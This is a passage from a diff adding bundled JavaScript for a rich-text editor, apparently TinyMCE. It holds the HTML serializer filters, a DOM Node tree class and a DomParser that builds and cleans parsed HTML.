+      var internalName = 'data-mce-' + name;
+      var urlConverter = settings.url_converter;
+      var urlConverterScope = settings.url_converter_scope;
+      while (i--) {
+        node = nodes[i];
+        value = node.attributes.map[internalName];
+        if (value !== undefined) {
+          node.attr(name, value.length > 0 ? value : null);
+          node.attr(internalName, null);
+        } else {
+          value = node.attributes.map[name];
+          if (name === 'style') {
+            value = dom.serializeStyle(dom.parseStyle(value), node.name);
+          } else if (urlConverter) {
+            value = urlConverter.call(urlConverterScope, value, name, node.name);
+          }
+          node.attr(name, value.length > 0 ? value : null);
+        }
+      }
+    });
+    htmlParser.addAttributeFilter('class', function (nodes) {
+      var i = nodes.length, node, value;
+      while (i--) {
+        node = nodes[i];
+        value = node.attr('class');
+        if (value) {
+          value = node.attr('class').replace(/(?:^|\s)mce-item-\w+(?!\S)/g, '');
+          node.attr('class', value.length > 0 ? value : null);
+        }
+      }
+    });
+    htmlParser.addAttributeFilter('data-mce-type', function (nodes, name, args) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i];
+        if (node.attributes.map['data-mce-type'] === 'bookmark' && !args.cleanup) {
+          node.remove();
+        }
+      }
+    });
+    htmlParser.addNodeFilter('noscript', function (nodes) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i].firstChild;
+        if (node) {
+          node.value = $_6pqr9q1sjjgwe7qj.decode(node.value);
+        }
+      }
+    });
+    htmlParser.addNodeFilter('script,style', function (nodes, name) {
+      var i = nodes.length, node, value, type;
+      var trim = function (value) {
+        return value.replace(/(<!--\[CDATA\[|\]\]-->)/g, '\n').replace(/^[\r\n]*|[\r\n]*$/g, '').replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi, '').replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g, '');
+      };
+      while (i--) {
+        node = nodes[i];
+        value = node.firstChild ? node.firstChild.value : '';
+        if (name === 'script') {
+          type = node.attr('type');
+          if (type) {
+            node.attr('type', type === 'mce-no/type' ? null : type.replace(/^mce\-/, ''));
+          }
+          if (settings.element_format === 'xhtml' && value.length > 0) {
+            node.firstChild.value = '// <![CDATA[\n' + trim(value) + '\n// ]]>';
+          }
+        } else {
+          if (settings.element_format === 'xhtml' && value.length > 0) {
+            node.firstChild.value = '<!--\n' + trim(value) + '\n-->';
+          }
+        }
+      }
+    });
+    htmlParser.addNodeFilter('#comment', function (nodes) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i];
+        if (node.value.indexOf('[CDATA[') === 0) {
+          node.name = '#cdata';
+          node.type = 4;
+          node.value = node.value.replace(/^\[CDATA\[|\]\]$/g, '');
+        } else if (node.value.indexOf('mce:protected ') === 0) {
+          node.name = '#text';
+          node.type = 3;
+          node.raw = true;
+          node.value = unescape(node.value).substr(14);
+        }
+      }
+    });
+    htmlParser.addNodeFilter('xml:namespace,input', function (nodes, name) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i];
+        if (node.type === 7) {
+          node.remove();
+        } else if (node.type === 1) {
+          if (name === 'input' && !('type' in node.attributes.map)) {
+            node.attr('type', 'text');
+          }
+        }
+      }
+    });
+    htmlParser.addAttributeFilter('data-mce-type', function (nodes) {
+      each(nodes, function (node) {
+        if (node.attr('data-mce-type') === 'format-caret') {
+          if (node.isEmpty(htmlParser.schema.getNonEmptyElements())) {
+            node.remove();
+          } else {
+            node.unwrap();
+          }
+        }
+      });
+    });
+    htmlParser.addAttributeFilter('data-mce-src,data-mce-href,data-mce-style,' + 'data-mce-selected,data-mce-expando,' + 'data-mce-type,data-mce-resize', function (nodes, name) {
+      var i = nodes.length;
+      while (i--) {
+        nodes[i].attr(name, null);
+      }
+    });
+  };
+  var trimTrailingBr = function (rootNode) {
+    var brNode1, brNode2;
+    var isBr = function (node) {
+      return node && node.name === 'br';
+    };
+    brNode1 = rootNode.lastChild;
+    if (isBr(brNode1)) {
+      brNode2 = brNode1.prev;
+      if (isBr(brNode2)) {
+        brNode1.remove();
+        brNode2.remove();
+      }
+    }
+  };
+  var $_51rhs16njjgwe8ts = {
+    register: register,
+    trimTrailingBr: trimTrailingBr
+  };
+
+  var preProcess = function (editor, node, args) {
+    var impl, doc, oldDoc;
+    var dom = editor.dom;
+    node = node.cloneNode(true);
+    impl = document.implementation;
+    if (impl.createHTMLDocument) {
+      doc = impl.createHTMLDocument('');
+      $_6cwiepljjgwe7j4.each(node.nodeName === 'BODY' ? node.childNodes : [node], function (node) {
+        doc.body.appendChild(doc.importNode(node, true));
+      });
+      if (node.nodeName !== 'BODY') {
+        node = doc.body.firstChild;
+      } else {
+        node = doc.body;
+      }
+      oldDoc = dom.doc;
+      dom.doc = doc;
+    }
+    $_b2ca654tjjgwe8ic.firePreProcess(editor, merge(args, { node: node }));
+    if (oldDoc) {
+      dom.doc = oldDoc;
+    }
+    return node;
+  };
+  var shouldFireEvent = function (editor, args) {
+    return editor && editor.hasEventListeners('PreProcess') && !args.no_events;
+  };
+  var process = function (editor, node, args) {
+    return shouldFireEvent(editor, args) ? preProcess(editor, node, args) : node;
+  };
+  var $_5u4dpu6ojjgwe8u3 = { process: process };
+
+  var removeAttrs = function (node, names) {
+    each(names, function (name) {
+      node.attr(name, null);
+    });
+  };
+  var addFontToSpansFilter = function (domParser, styles, fontSizes) {
+    domParser.addNodeFilter('font', function (nodes) {
+      each(nodes, function (node) {
+        var props = styles.parse(node.attr('style'));
+        var color = node.attr('color');
+        var face = node.attr('face');
+        var size = node.attr('size');
+        if (color) {
+          props.color = color;
+        }
+        if (face) {
+          props['font-family'] = face;
+        }
+        if (size) {
+          props['font-size'] = fontSizes[parseInt(node.attr('size'), 10) - 1];
+        }
+        node.name = 'span';
+        node.attr('style', styles.serialize(props));
+        removeAttrs(node, [
+          'color',
+          'face',
+          'size'
+        ]);
+      });
+    });
+  };
+  var addStrikeToSpanFilter = function (domParser, styles) {
+    domParser.addNodeFilter('strike', function (nodes) {
+      each(nodes, function (node) {
+        var props = styles.parse(node.attr('style'));
+        props['text-decoration'] = 'line-through';
+        node.name = 'span';
+        node.attr('style', styles.serialize(props));
+      });
+    });
+  };
+  var addFilters = function (domParser, settings) {
+    var styles = Styles();
+    if (settings.convert_fonts_to_spans) {
+      addFontToSpansFilter(domParser, styles, $_6cwiepljjgwe7j4.explode(settings.font_size_legacy_values));
+    }
+    addStrikeToSpanFilter(domParser, styles);
+  };
+  var register$1 = function (domParser, settings) {
+    if (settings.inline_styles) {
+      addFilters(domParser, settings);
+    }
+  };
+  var $_ee8az66qjjgwe8up = { register: register$1 };
+
+  var whiteSpaceRegExp$3 = /^[ \t\r\n]*$/;
+  var typeLookup = {
+    '#text': 3,
+    '#comment': 8,
+    '#cdata': 4,
+    '#pi': 7,
+    '#doctype': 10,
+    '#document-fragment': 11
+  };
+  var walk$3 = function (node, root, prev) {
+    var sibling;
+    var parent;
+    var startName = prev ? 'lastChild' : 'firstChild';
+    var siblingName = prev ? 'prev' : 'next';
+    if (node[startName]) {
+      return node[startName];
+    }
+    if (node !== root) {
+      sibling = node[siblingName];
+      if (sibling) {
+        return sibling;
+      }
+      for (parent = node.parent; parent && parent !== root; parent = parent.parent) {
+        sibling = parent[siblingName];
+        if (sibling) {
+          return sibling;
+        }
+      }
+    }
+  };
+  var Node$2 = function () {
+    function Node(name, type) {
+      this.name = name;
+      this.type = type;
+      if (type === 1) {
+        this.attributes = [];
+        this.attributes.map = {};
+      }
+    }
+    Node.create = function (name, attrs) {
+      var node, attrName;
+      node = new Node(name, typeLookup[name] || 1);
+      if (attrs) {
+        for (attrName in attrs) {
+          node.attr(attrName, attrs[attrName]);
+        }
+      }
+      return node;
+    };
+    Node.prototype.replace = function (node) {
+      var self = this;
+      if (node.parent) {
+        node.remove();
+      }
+      self.insert(node, self);
+      self.remove();
+      return self;
+    };
+    Node.prototype.attr = function (name, value) {
+      var self = this;
+      var attrs, i;
+      if (typeof name !== 'string') {
+        for (i in name) {
+          self.attr(i, name[i]);
+        }
+        return self;
+      }
+      if (attrs = self.attributes) {
+        if (value !== undefined) {
+          if (value === null) {
+            if (name in attrs.map) {
+              delete attrs.map[name];
+              i = attrs.length;
+              while (i--) {
+                if (attrs[i].name === name) {
+                  attrs = attrs.splice(i, 1);
+                  return self;
+                }
+              }
+            }
+            return self;
+          }
+          if (name in attrs.map) {
+            i = attrs.length;
+            while (i--) {
+              if (attrs[i].name === name) {
+                attrs[i].value = value;
+                break;
+              }
+            }
+          } else {
+            attrs.push({
+              name: name,
+              value: value
+            });
+          }
+          attrs.map[name] = value;
+          return self;
+        }
+        return attrs.map[name];
+      }
+    };
+    Node.prototype.clone = function () {
+      var self = this;
+      var clone = new Node(self.name, self.type);
+      var i, l, selfAttrs, selfAttr, cloneAttrs;
+      if (selfAttrs = self.attributes) {
+        cloneAttrs = [];
+        cloneAttrs.map = {};
+        for (i = 0, l = selfAttrs.length; i < l; i++) {
+          selfAttr = selfAttrs[i];
+          if (selfAttr.name !== 'id') {
+            cloneAttrs[cloneAttrs.length] = {
+              name: selfAttr.name,
+              value: selfAttr.value
+            };
+            cloneAttrs.map[selfAttr.name] = selfAttr.value;
+          }
+        }
+        clone.attributes = cloneAttrs;
+      }
+      clone.value = self.value;
+      clone.shortEnded = self.shortEnded;
+      return clone;
+    };
+    Node.prototype.wrap = function (wrapper) {
+      var self = this;
+      self.parent.insert(wrapper, self);
+      wrapper.append(self);
+      return self;
+    };
+    Node.prototype.unwrap = function () {
+      var self = this;
+      var node, next;
+      for (node = self.firstChild; node;) {
+        next = node.next;
+        self.insert(node, self, true);
+        node = next;
+      }
+      self.remove();
+    };
+    Node.prototype.remove = function () {
+      var self = this, parent = self.parent, next = self.next, prev = self.prev;
+      if (parent) {
+        if (parent.firstChild === self) {
+          parent.firstChild = next;
+          if (next) {
+            next.prev = null;
+          }
+        } else {
+          prev.next = next;
+        }
+        if (parent.lastChild === self) {
+          parent.lastChild = prev;
+          if (prev) {
+            prev.next = null;
+          }
+        } else {
+          next.prev = prev;
+        }
+        self.parent = self.next = self.prev = null;
+      }
+      return self;
+    };
+    Node.prototype.append = function (node) {
+      var self = this;
+      var last;
+      if (node.parent) {
+        node.remove();
+      }
+      last = self.lastChild;
+      if (last) {
+        last.next = node;
+        node.prev = last;
+        self.lastChild = node;
+      } else {
+        self.lastChild = self.firstChild = node;
+      }
+      node.parent = self;
+      return node;
+    };
+    Node.prototype.insert = function (node, refNode, before) {
+      var parent;
+      if (node.parent) {
+        node.remove();
+      }
+      parent = refNode.parent || this;
+      if (before) {
+        if (refNode === parent.firstChild) {
+          parent.firstChild = node;
+        } else {
+          refNode.prev.next = node;
+        }
+        node.prev = refNode.prev;
+        node.next = refNode;
+        refNode.prev = node;
+      } else {
+        if (refNode === parent.lastChild) {
+          parent.lastChild = node;
+        } else {
+          refNode.next.prev = node;
+        }
+        node.next = refNode.next;
+        node.prev = refNode;
+        refNode.next = node;
+      }
+      node.parent = parent;
+      return node;
+    };
+    Node.prototype.getAll = function (name) {
+      var self = this;
+      var node;
+      var collection = [];
+      for (node = self.firstChild; node; node = walk$3(node, self)) {
+        if (node.name === name) {
+          collection.push(node);
+        }
+      }
+      return collection;
+    };
+    Node.prototype.empty = function () {
+      var self = this;
+      var nodes, i, node;
+      if (self.firstChild) {
+        nodes = [];
+        for (node = self.firstChild; node; node = walk$3(node, self)) {
+          nodes.push(node);
+        }
+        i = nodes.length;
+        while (i--) {
+          node = nodes[i];
+          node.parent = node.firstChild = node.lastChild = node.next = node.prev = null;
+        }
+      }
+      self.firstChild = self.lastChild = null;
+      return self;
+    };
+    Node.prototype.isEmpty = function (elements, whitespace, predicate) {
+      var self = this;
+      var node = self.firstChild, i, name;
+      whitespace = whitespace || {};
+      if (node) {
+        do {
+          if (node.type === 1) {
+            if (node.attributes.map['data-mce-bogus']) {
+              continue;
+            }
+            if (elements[node.name]) {
+              return false;
+            }
+            i = node.attributes.length;
+            while (i--) {
+              name = node.attributes[i].name;
+              if (name === 'name' || name.indexOf('data-mce-bookmark') === 0) {
+                return false;
+              }
+            }
+          }
+          if (node.type === 8) {
+            return false;
+          }
+          if (node.type === 3 && !whiteSpaceRegExp$3.test(node.value)) {
+            return false;
+          }
+          if (node.type === 3 && node.parent && whitespace[node.parent.name] && whiteSpaceRegExp$3.test(node.value)) {
+            return false;
+          }
+          if (predicate && predicate(node)) {
+            return false;
+          }
+        } while (node = walk$3(node, self));
+      }
+      return true;
+    };
+    Node.prototype.walk = function (prev) {
+      return walk$3(this, null, prev);
+    };
+    return Node;
+  }();
+
+  var paddEmptyNode = function (settings, args, blockElements, node) {
+    var brPreferred = settings.padd_empty_with_br || args.insert;
+    if (brPreferred && blockElements[node.name]) {
+      node.empty().append(new Node$2('br', 1)).shortEnded = true;
+    } else {
+      node.empty().append(new Node$2('#text', 3)).value = '\xA0';
+    }
+  };
+  var isPaddedWithNbsp = function (node) {
+    return hasOnlyChild(node, '#text') && node.firstChild.value === '\xA0';
+  };
+  var hasOnlyChild = function (node, name) {
+    return node && node.firstChild && node.firstChild === node.lastChild && node.firstChild.name === name;
+  };
+  var isPadded = function (schema, node) {
+    var rule = schema.getElementRule(node.name);
+    return rule && rule.paddEmpty;
+  };
+  var isEmpty$2 = function (schema, nonEmptyElements, whitespaceElements, node) {
+    return node.isEmpty(nonEmptyElements, whitespaceElements, function (node) {
+      return isPadded(schema, node);
+    });
+  };
+  var isLineBreakNode = function (node, blockElements) {
+    return node && (blockElements[node.name] || node.name === 'br');
+  };
+
+  var register$2 = function (parser, settings) {
+    var schema = parser.schema;
+    if (settings.remove_trailing_brs) {
+      parser.addNodeFilter('br', function (nodes, _, args) {
+        var i;
+        var l = nodes.length;
+        var node;
+        var blockElements = $_6cwiepljjgwe7j4.extend({}, schema.getBlockElements());
+        var nonEmptyElements = schema.getNonEmptyElements();
+        var parent, lastParent, prev, prevName;
+        var whiteSpaceElements = schema.getNonEmptyElements();
+        var elementRule, textNode;
+        blockElements.body = 1;
+        for (i = 0; i < l; i++) {
+          node = nodes[i];
+          parent = node.parent;
+          if (blockElements[node.parent.name] && node === parent.lastChild) {
+            prev = node.prev;
+            while (prev) {
+              prevName = prev.name;
+              if (prevName !== 'span' || prev.attr('data-mce-type') !== 'bookmark') {
+                if (prevName !== 'br') {
+                  break;
+                }
+                if (prevName === 'br') {
+                  node = null;
+                  break;
+                }
+              }
+              prev = prev.prev;
+            }
+            if (node) {
+              node.remove();
+              if (isEmpty$2(schema, nonEmptyElements, whiteSpaceElements, parent)) {
+                elementRule = schema.getElementRule(parent.name);
+                if (elementRule) {
+                  if (elementRule.removeEmpty) {
+                    parent.remove();
+                  } else if (elementRule.paddEmpty) {
+                    paddEmptyNode(settings, args, blockElements, parent);
+                  }
+                }
+              }
+            }
+          } else {
+            lastParent = node;
+            while (parent && parent.firstChild === lastParent && parent.lastChild === lastParent) {
+              lastParent = parent;
+              if (blockElements[parent.name]) {
+                break;
+              }
+              parent = parent.parent;
+            }
+            if (lastParent === parent && settings.padd_empty_with_br !== true) {
+              textNode = new Node$2('#text', 3);
+              textNode.value = '\xA0';
+              node.replace(textNode);
+            }
+          }
+        }
+      });
+    }
+    parser.addAttributeFilter('href', function (nodes) {
+      var i = nodes.length, node;
+      var appendRel = function (rel) {
+        var parts = rel.split(' ').filter(function (p) {
+          return p.length > 0;
+        });
+        return parts.concat(['noopener']).sort().join(' ');
+      };
+      var addNoOpener = function (rel) {
+        var newRel = rel ? $_6cwiepljjgwe7j4.trim(rel) : '';
+        if (!/\b(noopener)\b/g.test(newRel)) {
+          return appendRel(newRel);
+        } else {
+          return newRel;
+        }
+      };
+      if (!settings.allow_unsafe_link_target) {
+        while (i--) {
+          node = nodes[i];
+          if (node.name === 'a' && node.attr('target') === '_blank') {
+            node.attr('rel', addNoOpener(node.attr('rel')));
+          }
+        }
+      }
+    });
+    if (!settings.allow_html_in_named_anchor) {
+      parser.addAttributeFilter('id,name', function (nodes) {
+        var i = nodes.length, sibling, prevSibling, parent, node;
+        while (i--) {
+          node = nodes[i];
+          if (node.name === 'a' && node.firstChild && !node.attr('href')) {
+            parent = node.parent;
+            sibling = node.lastChild;
+            do {
+              prevSibling = sibling.prev;
+              parent.insert(sibling, node);
+              sibling = prevSibling;
+            } while (sibling);
+          }
+        }
+      });
+    }
+    if (settings.fix_list_elements) {
+      parser.addNodeFilter('ul,ol', function (nodes) {
+        var i = nodes.length, node, parentNode;
+        while (i--) {
+          node = nodes[i];
+          parentNode = node.parent;
+          if (parentNode.name === 'ul' || parentNode.name === 'ol') {
+            if (node.prev && node.prev.name === 'li') {
+              node.prev.append(node);
+            } else {
+              var li = new Node$2('li', 1);
+              li.attr('style', 'list-style-type: none');
+              node.wrap(li);
+            }
+          }
+        }
+      });
+    }
+    if (settings.validate && schema.getValidClasses()) {
+      parser.addAttributeFilter('class', function (nodes) {
+        var i = nodes.length, node, classList, ci, className, classValue;
+        var validClasses = schema.getValidClasses();
+        var validClassesMap, valid;
+        while (i--) {
+          node = nodes[i];
+          classList = node.attr('class').split(' ');
+          classValue = '';
+          for (ci = 0; ci < classList.length; ci++) {
+            className = classList[ci];
+            valid = false;
+            validClassesMap = validClasses['*'];
+            if (validClassesMap && validClassesMap[className]) {
+              valid = true;
+            }
+            validClassesMap = validClasses[node.name];
+            if (!valid && validClassesMap && validClassesMap[className]) {
+              valid = true;
+            }
+            if (valid) {
+              if (classValue) {
+                classValue += ' ';
+              }
+              classValue += className;
+            }
+          }
+          if (!classValue.length) {
+            classValue = null;
+          }
+          node.attr('class', classValue);
+        }
+      });
+    }
+  };
+
+  var makeMap$4 = $_6cwiepljjgwe7j4.makeMap;
+  var each$18 = $_6cwiepljjgwe7j4.each;
+  var explode$3 = $_6cwiepljjgwe7j4.explode;
+  var extend$3 = $_6cwiepljjgwe7j4.extend;
+  function DomParser (settings, schema) {
+    if (schema === void 0) {
+      schema = Schema();
+    }
+    var nodeFilters = {};
+    var attributeFilters = [];
+    var matchedNodes = {};
+    var matchedAttributes = {};
+    settings = settings || {};
+    settings.validate = 'validate' in settings ? settings.validate : true;
+    settings.root_name = settings.root_name || 'body';
+    var fixInvalidChildren = function (nodes) {
+      var ni, node, parent, parents, newParent, currentNode, tempNode, childNode, i;
+      var nonEmptyElements, whitespaceElements, nonSplitableElements, textBlockElements, specialElements, sibling, nextNode;
+      nonSplitableElements = makeMap$4('tr,td,th,tbody,thead,tfoot,table');
+      nonEmptyElements = schema.getNonEmptyElements();
+      whitespaceElements = schema.getWhiteSpaceElements();
+      textBlockElements = schema.getTextBlockElements();
+      specialElements = schema.getSpecialElements();
+      for (ni = 0; ni < nodes.length; ni++) {
+        node = nodes[ni];
+        if (!node.parent || node.fixed) {
+          continue;
+        }
+        if (textBlockElements[node.name] && node.parent.name === 'li') {
+          sibling = node.next;
+          while (sibling) {
+            if (textBlockElements[sibling.name]) {
+              sibling.name = 'li';
+              sibling.fixed = true;
+              node.parent.insert(sibling, node.parent);
+            } else {
+              break;
+            }
+            sibling = sibling.next;
+          }
+          node.unwrap(node);
+          continue;
+        }
+        parents = [node];
+        for (parent = node.parent; parent && !schema.isValidChild(parent.name, node.name) && !nonSplitableElements[parent.name]; parent = parent.parent) {
+          parents.push(parent);
+        }
+        if (parent && parents.length > 1) {
+          parents.reverse();
+          newParent = currentNode = filterNode(parents[0].clone());
+          for (i = 0; i < parents.length - 1; i++) {
+            if (schema.isValidChild(currentNode.name, parents[i].name)) {
+              tempNode = filterNode(parents[i].clone());
+              currentNode.append(tempNode);
+            } else {
+              tempNode = currentNode;
+            }
+            for (childNode = parents[i].firstChild; childNode && childNode !== parents[i + 1];) {
+              nextNode = childNode.next;
+              tempNode.append(childNode);
+              childNode = nextNode;
+            }
+            currentNode = tempNode;
+          }
+          if (!isEmpty$2(schema, nonEmptyElements, whitespaceElements, newParent)) {
+            parent.insert(newParent, parents[0], true);
+            parent.insert(node, newParent);
+          } else {
+            parent.insert(node, parents[0], true);
+          }
+          parent = parents[0];
+          if (isEmpty$2(schema, nonEmptyElements, whitespaceElements, parent) || hasOnlyChild(parent, 'br')) {
+            parent.empty().remove();
+          }
+        } else if (node.parent) {
+          if (node.name === 'li') {
+            sibling = node.prev;
+            if (sibling && (sibling.name === 'ul' || sibling.name === 'ul')) {
+              sibling.append(node);
+              continue;
+            }
+            sibling = node.next;
+            if (sibling && (sibling.name === 'ul' || sibling.name === 'ul')) {
+              sibling.insert(node, sibling.firstChild, true);
+              continue;
+            }
+            node.wrap(filterNode(new Node$2('ul', 1)));
+            continue;
+          }
+          if (schema.isValidChild(node.parent.name, 'div') && schema.isValidChild('div', node.name)) {
+            node.wrap(filterNode(new Node$2('div', 1)));
+          } else {
+            if (specialElements[node.name]) {
+              node.empty().remove();
+            } else {
+              node.unwrap();
+            }
+          }
+        }
+      }
+    };
+    var filterNode = function (node) {
+      var i, name, list;
+      if (name in nodeFilters) {
+        list = matchedNodes[name];
+        if (list) {
+          list.push(node);
+        } else {
+          matchedNodes[name] = [node];
+        }
+      }
+      i = attributeFilters.length;
+      while (i--) {
+        name = attributeFilters[i].name;
+        if (name in node.attributes.map) {
+          list = matchedAttributes[name];
+          if (list) {
+            list.push(node);
+          } else {
+            matchedAttributes[name] = [node];
+          }
+        }
+      }
+      return node;
+    };
+    var addNodeFilter = function (name, callback) {
+      each$18(explode$3(name), function (name) {
+        var list = nodeFilters[name];
+        if (!list) {
+          nodeFilters[name] = list = [];
+        }
+        list.push(callback);
+      });
+    };
+    var getNodeFilters = function () {
+      var out = [];
+      for (var name in nodeFilters) {
+        if (nodeFilters.hasOwnProperty(name)) {
+          out.push({
+            name: name,
+            callbacks: nodeFilters[name]
+          });
+        }
+      }
+      return out;
+    };
+    var addAttributeFilter = function (name, callback) {
+      each$18(explode$3(name), function (name) {
+        var i;
+        for (i = 0; i < attributeFilters.length; i++) {
+          if (attributeFilters[i].name === name) {
+            attributeFilters[i].callbacks.push(callback);
+            return;
+          }
+        }
+        attributeFilters.push({
+          name: name,
+          callbacks: [callback]
+        });
+      });
+    };
+    var getAttributeFilters = function () {
+      return [].concat(attributeFilters);
+    };
+    var parse = function (html, args) {
+      var parser, nodes, i, l, fi, fl, list, name;
+      var blockElements;
+      var invalidChildren = [];
+      var isInWhiteSpacePreservedElement;
+      var node;
+      args = args || {};
+      matchedNodes = {};
+      matchedAttributes = {};
+      blockElements = extend$3(makeMap$4('script,style,head,html,body,title,meta,param'), schema.getBlockElements());
+      var nonEmptyElements = schema.getNonEmptyElements();
+      var children = schema.children;
+      var validate = settings.validate;
+      var rootBlockName = 'forced_root_block' in args ? args.forced_root_block : settings.forced_root_block;
+      var whiteSpaceElements = schema.getWhiteSpaceElements();
+      var startWhiteSpaceRegExp = /^[ \t\r\n]+/;
+      var endWhiteSpaceRegExp = /[ \t\r\n]+$/;
+      var allWhiteSpaceRegExp = /[ \t\r\n]+/g;
+      var isAllWhiteSpaceRegExp = /^[ \t\r\n]+$/;
+      isInWhiteSpacePreservedElement = whiteSpaceElements.hasOwnProperty(args.context) || whiteSpaceElements.hasOwnProperty(settings.root_name);
+      var addRootBlocks = function () {
+        var node = rootNode.firstChild, next, rootBlockNode;
+        var trim = function (rootBlockNode) {
+          if (rootBlockNode) {
+            node = rootBlockNode.firstChild;
+            if (node && node.type === 3) {
+              node.value = node.value.replace(startWhiteSpaceRegExp, '');
+            }
+            node = rootBlockNode.lastChild;
+            if (node && node.type === 3) {
+              node.value = node.value.replace(endWhiteSpaceRegExp, '');
+            }
+          }
+        };
+        if (!schema.isValidChild(rootNode.name, rootBlockName.toLowerCase())) {
+          return;
+        }
+        while (node) {
+          next = node.next;
+          if (node.type === 3 || node.type === 1 && node.name !== 'p' && !blockElements[node.name] && !node.attr('data-mce-type')) {
+            if (!rootBlockNode) {
+              rootBlockNode = createNode(rootBlockName, 1);
+              rootBlockNode.attr(settings.forced_root_block_attrs);
+              rootNode.insert(rootBlockNode, node);
+              rootBlockNode.append(node);
+            } else {
+              rootBlockNode.append(node);
+            }
+          } else {
+            trim(rootBlockNode);
+            rootBlockNode = null;
+          }
+          node = next;
+        }
+        trim(rootBlockNode);
+      };
+      var createNode = function (name, type) {
+        var node = new Node$2(name, type);
+        var list;
+        if (name in nodeFilters) {
+          list = matchedNodes[name];
+          if (list) {
+            list.push(node);
+          } else {
+            matchedNodes[name] = [node];
+          }
+        }
+        return node;
+      };
+      var removeWhitespaceBefore = function (node) {
+        var textNode, textNodeNext, textVal, sibling;
+        var blockElements = schema.getBlockElements();
+        for (textNode = node.prev; textNode && textNode.type === 3;) {
+          textVal = textNode.value.replace(endWhiteSpaceRegExp, '');
+          if (textVal.length > 0) {
+            textNode.value = textVal;
+            return;
+          }
+          textNodeNext = textNode.next;
+          if (textNodeNext) {
+            if (textNodeNext.type === 3 && textNodeNext.value.length) {
+              textNode = textNode.prev;
+              continue;
+            }
+            if (!blockElements[textNodeNext.name] && textNodeNext.name !== 'script' && textNodeNext.name !== 'style') {
+              textNode = textNode.prev;
+              continue;
+            }
+          }
+          sibling = textNode.prev;
+          textNode.remove();
+          textNode = sibling;
+        }
+      };
+      var cloneAndExcludeBlocks = function (input) {
+        var name;
+        var output = {};
+        for (name in input) {
+          if (name !== 'li' && name !== 'p') {
+            output[name] = input[name];
+          }
+        }
+        return output;
+      };
+      parser = SaxParser$1({
+        validate: validate,
+        allow_script_urls: settings.allow_script_urls,
+        allow_conditional_comments: settings.allow_conditional_comments,
+        self_closing_elements: cloneAndExcludeBlocks(schema.getSelfClosingElements()),
+        cdata: function (text) {
+          node.append(createNode('#cdata', 4)).value = text;
+        },
+        text: function (text, raw) {
+          var textNode;
+          if (!isInWhiteSpacePreservedElement) {
+            text = text.replace(allWhiteSpaceRegExp, ' ');
+            if (isLineBreakNode(node.lastChild, blockElements)) {
+              text = text.replace(startWhiteSpaceRegExp, '');
+            }
+          }
+          if (text.length !== 0) {
+            textNode = createNode('#text', 3);
+            textNode.raw = !!raw;
+            node.append(textNode).value = text;
+          }
+        },
+        comment: function (text) {
+          node.append(createNode('#comment', 8)).value = text;
+        },
+        pi: function (name, text) {
+          node.append(createNode(name, 7)).value = text;
+          removeWhitespaceBefore(node);
+        },
+        doctype: function (text) {
+          var newNode;
+          newNode = node.append(createNode('#doctype', 10));
+          newNode.value = text;
+          removeWhitespaceBefore(node);
+        },
+        start: function (name, attrs, empty) {
+          var newNode, attrFiltersLen, elementRule, attrName, parent;
+          elementRule = validate ? schema.getElementRule(name) : {};
+          if (elementRule) {
+            newNode = createNode(elementRule.outputName || name, 1);
+            newNode.attributes = attrs;
+            newNode.shortEnded = empty;
+            node.append(newNode);
+            parent = children[node.name];
+            if (parent && children[newNode.name] && !parent[newNode.name]) {
+              invalidChildren.push(newNode);
+            }
+            attrFiltersLen = attributeFilters.length;
+            while (attrFiltersLen--) {
+              attrName = attributeFilters[attrFiltersLen].name;
+              if (attrName in attrs.map) {
+                list = matchedAttributes[attrName];
+                if (list) {
+                  list.push(newNode);
+                } else {
+                  matchedAttributes[attrName] = [newNode];
+                }
+              }
+            }
+            if (blockElements[name]) {
+              removeWhitespaceBefore(newNode);
+            }
+            if (!empty) {
+              node = newNode;
+            }
+            if (!isInWhiteSpacePreservedElement && whiteSpaceElements[name]) {
+              isInWhiteSpacePreservedElement = true;
+            }
+          }
+        },
+        end: function (name) {
+          var textNode, elementRule, text, sibling, tempNode;
+          elementRule = validate ? schema.getElementRule(name) : {};
+          if (elementRule) {
+            if (blockElements[name]) {
+              if (!isInWhiteSpacePreservedElement) {
+                textNode = node.firstChild;
+                if (textNode && textNode.type === 3) {
+                  text = textNode.value.replace(startWhiteSpaceRegExp, '');
+                  if (text.length > 0) {
+                    textNode.value = text;
+                    textNode = textNode.next;
+                  } else {
+                    sibling = textNode.next;
+                    textNode.remove();
+                    textNode = sibling;
+                    while (textNode && textNode.type === 3) {
+                      text = textNode.value;
+                      sibling = textNode.next;
+                      if (text.length === 0 || isAllWhiteSpaceRegExp.test(text)) {
+                        textNode.remove();
+                        textNode = sibling;
+                      }
+                      textNode = sibling;
+                    }
+                  }
+                }
+                textNode = node.lastChild;
+                if (textNode && textNode.type === 3) {
+                  text = textNode.value.replace(endWhiteSpaceRegExp, '');
+                  if (text.length > 0) {
+                    textNode.value = text;
+                    textNode = textNode.prev;
+                  } else {
+                    sibling = textNode.prev;
+                    textNode.remove();
+                    textNode = sibling;
+                    while (textNode && textNode.type === 3) {
+                      text = textNode.value;
+                      sibling = textNode.prev;
+                      if (text.length === 0 || isAllWhiteSpaceRegExp.test(text)) {
+                        textNode.remove();
+                        textNode = sibling;
+                      }
+                      textNode = sibling;
+                    }
+                  }
+                }
+              }
+            }
+            if (isInWhiteSpacePreservedElement && whiteSpaceElements[name]) {
+              isInWhiteSpacePreservedElement = false;
+            }
+            if (elementRule.removeEmpty && isEmpty$2(schema, nonEmptyElements, whiteSpaceElements, node)) {
+              if (!node.attributes.map.name && !node.attr('id')) {
+                tempNode = node.parent;
+                if (blockElements[node.name]) {
+                  node.empty().remove();
+                } else {
+                  node.unwrap();
+                }
+                node = tempNode;
+                return;
+              }
+            }
+            if (elementRule.paddEmpty && (isPaddedWithNbsp(node) || isEmpty$2(schema, nonEmptyElements, whiteSpaceElements, node))) {
+              paddEmptyNode(settings, args, blockElements, node);
+            }
+            node = node.parent;
+          }
+        }
+      }, schema);
+      var rootNode = node = new Node$2(args.context || settings.root_name, 11);
